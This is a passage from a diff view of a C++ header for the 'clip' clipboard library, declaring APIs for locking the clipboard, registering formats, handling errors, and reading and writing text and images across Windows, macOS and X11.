};
|
||||
#endif // CLIP_ENABLE_LIST_FORMATS
|
||||
|
||||
class lock
|
||||
{
|
||||
public:
|
||||
// You can give your current HWND as the "native_window_handle."
|
||||
// Windows clipboard functions use this handle to open/close
|
||||
// (lock/unlock) the clipboard. From the MSDN documentation we
|
||||
// need this handler so SetClipboardData() doesn't fail after a
|
||||
// EmptyClipboard() call. Anyway it looks to work just fine if we
|
||||
// call OpenClipboard() with a null HWND.
|
||||
lock(void* native_window_handle = nullptr);
|
||||
~lock();
|
||||
|
||||
// Returns true if we've locked the clipboard successfully in
|
||||
// lock() constructor.
|
||||
bool locked() const;
|
||||
|
||||
// Clears the clipboard content. If you don't clear the content,
|
||||
// previous clipboard content (in unknown formats) could persist
|
||||
// after the unlock.
|
||||
bool clear();
|
||||
|
||||
// Returns true if the clipboard can be converted to the given
|
||||
// format.
|
||||
bool is_convertible(format f) const;
|
||||
bool set_data(format f, const char* buf, size_t len);
|
||||
bool get_data(format f, char* buf, size_t len) const;
|
||||
size_t get_data_length(format f) const;
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
// For images
|
||||
bool set_image(const image& image);
|
||||
bool get_image(image& image) const;
|
||||
bool get_image_spec(image_spec& spec) const;
|
||||
#endif // CLIP_ENABLE_IMAGE
|
||||
|
||||
#if CLIP_ENABLE_LIST_FORMATS
|
||||
// Returns the list of available formats (by name) in the
|
||||
// clipboard.
|
||||
std::vector<format_info> list_formats() const;
|
||||
#endif // CLIP_ENABLE_LIST_FORMATS
|
||||
|
||||
private:
|
||||
class impl;
|
||||
std::unique_ptr<impl> p;
|
||||
};
|
||||
|
||||
format register_format(const std::string& name);
|
||||
|
||||
// This format is when the clipboard has no content.
|
||||
format empty_format();
|
||||
|
||||
// When the clipboard has UTF8 text.
|
||||
format text_format();
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
// When the clipboard has an image.
|
||||
format image_format();
|
||||
#endif
|
||||
|
||||
// Returns true if the clipboard has content of the given type.
|
||||
bool has(format f);
|
||||
|
||||
// Clears the clipboard content.
|
||||
bool clear();
|
||||
|
||||
// ======================================================================
|
||||
// Error handling
|
||||
// ======================================================================
|
||||
|
||||
enum class ErrorCode {
|
||||
CannotLock,
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
ImageNotSupported,
|
||||
#endif
|
||||
};
|
||||
|
||||
typedef void (*error_handler)(ErrorCode code);
|
||||
|
||||
void set_error_handler(error_handler f);
|
||||
error_handler get_error_handler();
|
||||
|
||||
// ======================================================================
|
||||
// Text
|
||||
// ======================================================================
|
||||
|
||||
// High-level API to put/get UTF8 text in/from the clipboard. These
|
||||
// functions returns false in case of error.
|
||||
bool set_text(const std::string& value);
|
||||
bool get_text(std::string& value);
|
||||
|
||||
// ======================================================================
|
||||
// Image
|
||||
// ======================================================================
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
|
||||
struct image_spec {
|
||||
unsigned long width = 0;
|
||||
unsigned long height = 0;
|
||||
unsigned long bits_per_pixel = 0;
|
||||
unsigned long bytes_per_row = 0;
|
||||
unsigned long red_mask = 0;
|
||||
unsigned long green_mask = 0;
|
||||
unsigned long blue_mask = 0;
|
||||
unsigned long alpha_mask = 0;
|
||||
unsigned long red_shift = 0;
|
||||
unsigned long green_shift = 0;
|
||||
unsigned long blue_shift = 0;
|
||||
unsigned long alpha_shift = 0;
|
||||
|
||||
unsigned long required_data_size() const;
|
||||
};
|
||||
|
||||
// The image data must contain straight RGB values
|
||||
// (non-premultiplied by alpha). The image retrieved from the
|
||||
// clipboard will be non-premultiplied too. Basically you will be
|
||||
// always dealing with straight alpha images.
|
||||
//
|
||||
// Details: Windows expects premultiplied images on its clipboard
|
||||
// content, so the library code make the proper conversion
|
||||
// automatically. macOS handles straight alpha directly, so there is
|
||||
// no conversion at all. Linux/X11 images are transferred in
|
||||
// image/png format which are specified in straight alpha.
|
||||
class image
|
||||
{
|
||||
public:
|
||||
image();
|
||||
image(const image_spec& spec);
|
||||
image(const void* data, const image_spec& spec);
|
||||
image(const image& image);
|
||||
image(image&& image);
|
||||
~image();
|
||||
|
||||
image& operator=(const image& image);
|
||||
image& operator=(image&& image);
|
||||
|
||||
char* data() const
|
||||
{
|
||||
return m_data;
|
||||
}
|
||||
const image_spec& spec() const
|
||||
{
|
||||
return m_spec;
|
||||
}
|
||||
|
||||
bool is_valid() const
|
||||
{
|
||||
return m_data != nullptr;
|
||||
}
|
||||
void reset();
|
||||
|
||||
private:
|
||||
void copy_image(const image& image);
|
||||
void move_image(image&& image);
|
||||
|
||||
bool m_own_data;
|
||||
char* m_data;
|
||||
image_spec m_spec;
|
||||
};
|
||||
|
||||
// High-level API to set/get an image in/from the clipboard. These
|
||||
// functions returns false in case of error.
|
||||
bool set_image(const image& img);
|
||||
bool get_image(image& img);
|
||||
bool get_image_spec(image_spec& spec);
|
||||
|
||||
#endif // CLIP_ENABLE_IMAGE
|
||||
|
||||
// ======================================================================
|
||||
// Platform-specific
|
||||
// ======================================================================
|
||||
|
||||
// Only for X11: Sets the time (in milliseconds) that we must wait
|
||||
// for the selection/clipboard owner to receive the content. This
|
||||
// value is 1000 (one second) by default.
|
||||
void set_x11_wait_timeout(int msecs);
|
||||
int get_x11_wait_timeout();
|
||||
|
||||
} // namespace clip
|
||||
|
||||
#endif // CLIP_H_INCLUDED
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user